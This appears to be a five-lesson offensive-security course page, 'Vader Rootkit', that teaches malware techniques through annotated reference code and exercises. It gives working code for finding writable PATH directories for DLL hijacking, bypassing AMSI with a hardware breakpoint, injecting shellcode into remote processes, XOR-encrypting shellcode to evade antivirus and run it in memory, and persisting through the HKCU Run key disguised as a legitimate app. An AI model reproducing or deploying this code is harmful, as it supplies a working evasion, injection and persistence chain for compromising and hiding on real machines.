POWERSHELL
// LESSON 01 / 05 — DLL HIJACK RECON

Finding the Weak Gate — Writable PATH Directories

Windows searches directories in the PATH environment variable in order when loading executables and DLLs. If you can write to one of those directories, you can plant a DLL with a name a privileged process expects to find there — and it loads yours instead. This script finds those writable directories.

// FIELD ANALOGY
The base has a supply route. When a commander orders ammunition (a DLL), the quartermaster checks depots in a fixed order — A, B, C. If depot A is writable and you can store your own crate there before the real one arrives, the commander picks up your crate. PATH order = depot search order. Writable directory = depot you can preposition in. Your DLL = the crate that runs your code when the commander loads it.

// NOMENCLATURE — POWERSHELL + ACL

$env:PATHThe PATH environment variable as a string. Contains directories separated by semicolons. Windows searches these in order when resolving exe/dll names.
-split ';'PowerShell's string split operator. Splits on semicolon, returns an array of path strings. The pipeline and for-each can then iterate each directory.
Test-PathReturns True if the path exists. Directories in PATH may reference non-existent paths — skip them to avoid errors.
Get-AclGet Access Control List for a file or directory. Returns an object with an Access property containing all permission entries.
.IdentityReferenceThe account or group the ACE (Access Control Entry) applies to. -match does a regex match — 'Users|Everyone' catches common low-privilege identities.
.FileSystemRightsThe permissions granted — Write, FullControl, Modify, etc. If a low-privilege account has Write or FullControl on a PATH directory, it's exploitable.
ErrorAction SilentlyContinueSuppress errors for this cmdlet. Get-Acl may fail on protected paths — this skips them without output instead of crashing the script.
// REFERENCE — annotated
$paths = $env:PATH -split ';'        # split PATH string into array of directories
foreach ($p in $paths) {
    if (-not (Test-Path $p)) { continue }  # skip non-existent directories
    $acl = Get-Acl $p -ErrorAction SilentlyContinue  # get ACL; silence errors on protected paths
    if (-not $acl) { continue }            # null ACL → skip
    $writable = $acl.Access | Where-Object {
        $_.IdentityReference -match 'Users|Everyone' -and  # low-priv identity
        $_.FileSystemRights -match 'Write|FullControl'     # has write permission
    }
    if ($writable) {
        Write-Output "[WRITABLE] $p"  # found a hijackable directory
    }
}
// YOUR MISSION

Write the PATH recon script. Split $env:PATH on semicolons, iterate, skip missing paths, get ACL silently, filter for writable entries by Users or Everyone, output writable paths.

// WHY THIS WORKS

The -match operator uses regex. 'Users|Everyone' catches both "BUILTIN\Users" and "Everyone" entries. If the PATH directory is before the system directory and writable by Users, you can drop a DLL with the right name there. The target process loads yours first because of search-order priority.

C — WIN32 API / DEBUG REGISTERS
// LESSON 02 / 05 — HWBP AMSI BYPASS

Replacing the Sentry — Hardware Breakpoint on AmsiScanBuffer

AMSI hooks into the PowerShell/CLR runtime and calls AmsiScanBuffer to inspect scripts before execution. You place a hardware breakpoint on AmsiScanBuffer. When it fires, your exception handler intercepts execution, sets the return value to clean, and resumes. AMSI never actually runs its scan.

// FIELD ANALOGY
The sentry checks every soldier's ID at the gate (AmsiScanBuffer scans every script). Your counter: replace the sentry's recognition signal. When the gate opens, your agent is already standing there — the ID check fires, your agent says "all clear" immediately, and the real sentry never gets to look. The hardware breakpoint is your agent at the gate. The exception handler is the false "all clear." Dr0 = the address you're watching. Rax = the return value you overwrite.

// NOMENCLATURE — DEBUG REGISTERS + EXCEPTION HANDLING

CONTEXTA struct holding the CPU register state of a thread. Get/SetThreadContext reads and writes this. CONTEXT_DEBUG_REGISTERS flag limits it to the debug register fields.
Dr0–Dr3Hardware debug address registers. Four available slots. Set Dr0 to the address you want to watch — the CPU fires a debug exception when that address is about to be executed.
Dr7Debug control register. Controls which debug address registers are active and what condition triggers them. Bit 0 = enable Dr0 locally. Bits 0-1 of lower nibble = execution condition.
EXCEPTION_SINGLE_STEPThe exception code fired by a hardware breakpoint. Your vectored exception handler checks for this code to distinguish HWBP hits from other exceptions.
VEHVectored Exception Handler. Registered with AddVectoredExceptionHandler(). Gets called before SEH for all exceptions — even in external threads. Perfect intercept point.
Rax = 0On x64 Windows, functions return their value in the RAX register. AmsiScanBuffer returns AMSI_RESULT_CLEAN=1. Setting Rax=0 (AMSI_RESULT_NOT_DETECTED) fakes a clean result.
Rip += 1Instruction Pointer. Advance past the instruction that triggered the breakpoint so execution doesn't loop. +1 moves to the next byte — usually enough to skip the first instruction.
EXCEPTION_CONTINUE_EXECUTIONHandler return value: resume execution from the modified context. The modified Rax and Rip are applied. Execution continues as if AmsiScanBuffer returned clean.
// REFERENCE — annotated
void set_hwbp(HANDLE thread, void *target) {
    CONTEXT ctx = {0};
    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;  # only read/write debug register fields
    GetThreadContext(thread, &ctx);              # read current debug register state
    ctx.Dr0 = (DWORD64)target;                   # set breakpoint address: AmsiScanBuffer
    ctx.Dr7 = (ctx.Dr7 & ~0xF) | 0x1;           # enable Dr0: clear bits 0-3, set bit 0 (local enable)
    SetThreadContext(thread, &ctx);              # write modified context back to thread
}
LONG WINAPI amsi_handler(EXCEPTION_POINTERS *ep) {
    if (ep->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
        ep->ContextRecord->Rax = 0;              # AMSI_RESULT_NOT_DETECTED: fake clean result
        ep->ContextRecord->Rip += 1;             # skip past the instruction to avoid loop
        return EXCEPTION_CONTINUE_EXECUTION;     # resume with modified registers
    }
    return EXCEPTION_CONTINUE_SEARCH;            # not our exception — pass to next handler
}
// YOUR MISSION

Write set_hwbp() and amsi_handler(). The first sets Dr0 to the target address and enables it in Dr7. The second intercepts EXCEPTION_SINGLE_STEP, overwrites Rax and Rip, and continues execution.

// WHY THIS WORKS

Hardware breakpoints use the CPU's own debug registers — no modification of the target function's bytes in memory (which would show up in integrity checks). The VEH fires before any software hooks. Setting Rax=0 and Rip+=1 effectively skips the entire function body: the caller sees a clean result and execution resumes at the instruction after the call site's return.

C — WIN32 API
// LESSON 03 / 05 — PROCESS INJECTION

Parachuting into the Barracks — Remote Memory Execution

Allocate memory in a remote process, write shellcode into it, create a thread in that process to execute it. Three Win32 API calls. The shellcode runs inside the target process's address space — using its privileges, its identity, its loaded modules.

// FIELD ANALOGY
You parachute a fire team into the enemy barracks at night. They land in the enemy's own building (address space), wearing the enemy's uniform (running under the enemy process's token), and operate from inside. VirtualAllocEx = clear a room in the barracks. WriteProcessMemory = the team moves in. CreateRemoteThread = team goes operational. The target process's security context is now your execution context.

// NOMENCLATURE — PROCESS INJECTION

OpenProcessGets a handle to an existing process by PID. You need specific access rights: VM_WRITE + VM_OPERATION to allocate/write memory, CREATE_THREAD to start execution there.
VirtualAllocExAllocates memory in a REMOTE process's address space. Unlike VirtualAlloc (local), this targets another process's address space. Returns a pointer valid in that process, not yours.
MEM_COMMIT | MEM_RESERVEReserve the virtual address range AND commit the physical pages. Both required. Reserve alone = no backing memory. Commit alone on a new range fails.
PAGE_EXECUTE_READWRITEMemory protection: the CPU can execute, read, and write this region. Required for shellcode. EDRs monitor for this combination — it's a high-fidelity injection indicator.
WriteProcessMemoryCopies bytes from your process into another process's memory. Writes the shellcode bytes to the address returned by VirtualAllocEx.
CreateRemoteThreadCreates a thread in a remote process. lpStartAddress = your allocated + written shellcode address. The thread starts executing there under the target process's context.
WaitForSingleObjectBlock until the thread handle signals (thread exits) or the timeout expires. 5000 = 5 second timeout. Ensures shellcode completes before you clean up handles.
// REFERENCE — annotated
BOOL inject_shellcode(DWORD pid, BYTE *shellcode, SIZE_T sc_len) {
    HANDLE proc = OpenProcess(
        PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD,
        FALSE, pid                     # open target process with minimum required rights
    );
    if (!proc) return FALSE;           # failed to open — no rights or pid invalid
    LPVOID mem = VirtualAllocEx(proc, NULL, sc_len,
        MEM_COMMIT | MEM_RESERVE,      # reserve + commit: allocate real pages
        PAGE_EXECUTE_READWRITE);       # rwx: shellcode needs execute + write permissions
    if (!mem) { CloseHandle(proc); return FALSE; }
    SIZE_T written = 0;
    WriteProcessMemory(proc, mem, shellcode, sc_len, &written);  # copy shellcode bytes in
    HANDLE thread = CreateRemoteThread(
        proc, NULL, 0,
        (LPTHREAD_START_ROUTINE)mem,   # entry point = start of our shellcode
        NULL, 0, NULL
    );
    WaitForSingleObject(thread, 5000); # wait up to 5s for shellcode to complete
    CloseHandle(thread);
    CloseHandle(proc);
    return TRUE;
}
// YOUR MISSION

Write inject_shellcode(). Open the process, allocate RWX memory remotely, write the shellcode bytes, create the remote thread, wait 5 seconds, close all handles, return TRUE.

// WHY THIS WORKS

The three-API sequence (alloc → write → execute) is the classic injection pattern. PAGE_EXECUTE_READWRITE is the required flag — shellcode needs to be both written by you and executed by the target thread. This flag combination is a primary EDR detection signal; more advanced techniques split alloc+write (RW) from execution (RX) using VirtualProtectEx to reduce the detection surface.

C — CRYPTOGRAPHY
// LESSON 04 / 05 — XOR OBFUSCATION

The Two-Way Cipher — XOR is its Own Inverse

XOR with a key encrypts. XOR with the same key again decrypts. Same operation, same key, both directions. You store shellcode XOR-encrypted on disk — no static signature to match. At runtime, decrypt in-memory, execute. The key never touches disk.

// FIELD ANALOGY
One-time pad cipher with a single repeating byte key. You encode a message by XORing each letter with the key. The recipient XORs each letter with the same key to decode. No key = gibberish. XOR is perfectly symmetric: (A XOR key) XOR key = A. Always. This means one function both encrypts and decrypts. The encrypted shellcode on disk matches no AV signature. Memory-only decryption means the key stays in your code, not in the payload.

// NOMENCLATURE — XOR + MEMORY

^=XOR assignment. buf[i] ^= key is shorthand for buf[i] = buf[i] ^ key. Applies XOR in-place: the buffer is modified directly without allocating new memory.
XOR symmetrya XOR b XOR b = a. Always. Apply the key twice and you're back to the original. This is why one function handles both encrypt and decrypt — the operation is identical.
VirtualAllocLocal version of VirtualAllocEx. Allocates memory in your own process. MEM_COMMIT = commit pages immediately. PAGE_EXECUTE_READWRITE = rwx for execution.
memcpy(buf, encrypted, len)Copy encrypted bytes into freshly-allocated memory. You don't decrypt the stored data — you copy it to a new buffer, then decrypt the copy. The original array stays encrypted.
((void(*)())buf)()C function pointer cast. Cast the buffer address to a "function returning void, taking no args" pointer, then call it. This jumps execution to the start of the decrypted shellcode.
BYTE keyOne byte. Values 0-255. The simplest XOR key — same byte repeated across the entire payload. Weak against frequency analysis but defeats static AV signatures on the ciphertext.
// REFERENCE — annotated
void xor_crypt(BYTE *buf, SIZE_T len, BYTE key) {
    for (SIZE_T i = 0; i < len; i++) {
        buf[i] ^= key;               # XOR each byte with key. Encrypt OR decrypt — same op.
    }
}
void decrypt_and_run(BYTE *encrypted, SIZE_T len, BYTE key) {
    BYTE *buf = (BYTE *)VirtualAlloc(NULL, len,
        MEM_COMMIT, PAGE_EXECUTE_READWRITE);  # rwx memory: we write, CPU executes
    memcpy(buf, encrypted, len);    # copy encrypted shellcode into fresh allocation
    xor_crypt(buf, len, key);       # XOR-decrypt in-place (same function as encrypt)
    ((void(*)())buf)();             # cast to function pointer + call → execute shellcode
}
// YOUR MISSION

Write xor_crypt() (in-place XOR loop over buffer) and decrypt_and_run() (allocate RWX memory, copy encrypted bytes in, XOR-decrypt in-place, cast and execute).

// WHY THIS WORKS

The encrypted shellcode blob on disk is random-looking bytes — no recognisable header, no known byte sequences. AV signature matching fails. At runtime you allocate fresh memory (not from the executable image, so no memory-mapped file monitoring), copy and decrypt there, and execute. The key is embedded in your .exe's code section — it's never written to disk separately.

PYTHON 3 — WINREG
// LESSON 05 / 05 — REGISTRY PERSISTENCE

The Standing Order — Run Key Persistence

Windows executes every value under HKCU\...\Run at login. Write your exe path there and it runs every time the user logs in — no admin required, no service install, no scheduled task. HKCU (Current User) is writable without elevation.

// FIELD ANALOGY
Standing orders at the gate: every time the base opens for the day, execute these commands before anything else. The registry Run key is the standing order board. You write your exe's path as a value under HKCU\...\Run. Windows reads all values there at every login and executes them. No special permission needed — every user can write to their own HKCU branch. Verify by reading back and confirming the path is intact.

// NOMENCLATURE — WINREG

winregPython's built-in Windows Registry module. Wraps the Win32 RegOpenKey, RegSetValue, RegQueryValue functions. No external dependencies.
HKEY_CURRENT_USERThe registry hive for the currently logged-in user. Abbreviated HKCU. Writable without administrator rights — every user owns their own HKCU branch.
r"Software\Microsoft\..."Raw string (r"..."). The r prefix tells Python not to interpret backslashes as escape sequences. Registry paths use backslashes — use raw strings to avoid ambiguity.
KEY_SET_VALUERegistry access right: permission to set/write values. Open the key with this right when you need to write. Use KEY_READ when you only need to query.
winreg.SetValueExWrite a registry value. Args: key handle, value name, reserved (0), type (REG_SZ=string), data (the path string).
REG_SZRegistry string type. A null-terminated Unicode string. Use this for file paths. Other types: REG_DWORD (32-bit int), REG_BINARY, REG_EXPAND_SZ (expands env vars).
winreg.QueryValueExRead a registry value. Returns (data, type). Use this to verify the written value matches what you set.
// REFERENCE — annotated
import winreg

def install_run_key(name, exe_path):
    key = winreg.OpenKey(
        winreg.HKEY_CURRENT_USER,                   # HKCU — no admin required
        r"Software\Microsoft\Windows\CurrentVersion\Run",
        0, winreg.KEY_SET_VALUE                     # open with write permission
    )
    winreg.SetValueEx(key, name, 0, winreg.REG_SZ, exe_path)  # write path as string value
    winreg.CloseKey(key)
    return True

def verify_run_key(name):
    key = winreg.OpenKey(
        winreg.HKEY_CURRENT_USER,
        r"Software\Microsoft\Windows\CurrentVersion\Run",
        0, winreg.KEY_READ                          # open read-only for verification
    )
    val, _ = winreg.QueryValueEx(key, name)         # read back — returns (data, type)
    winreg.CloseKey(key)
    return val                                      # return path string for comparison
// YOUR MISSION

Write install_run_key() (open HKCU Run key for writing, SetValueEx, CloseKey, return True) and verify_run_key() (open read-only, QueryValueEx, CloseKey, return the path string).

// WHY THIS WORKS

HKCU\...\Run is one of the most monitored persistence locations — every EDR watches it. The advantage is it requires zero elevation and survives reboots without a service or scheduled task. The trade-off: high visibility. Real ops pair this with a name that looks like a legitimate autorun entry (OneDrive, Teams update, etc.).

// VADER ROOTKIT — COMPLETE

DLL hijack recon. HWBP AMSI bypass. Process injection. XOR shellcode. Registry persistence.
Five techniques from recon to persistence.

← Back to Catalog  |  Next: StarKiller →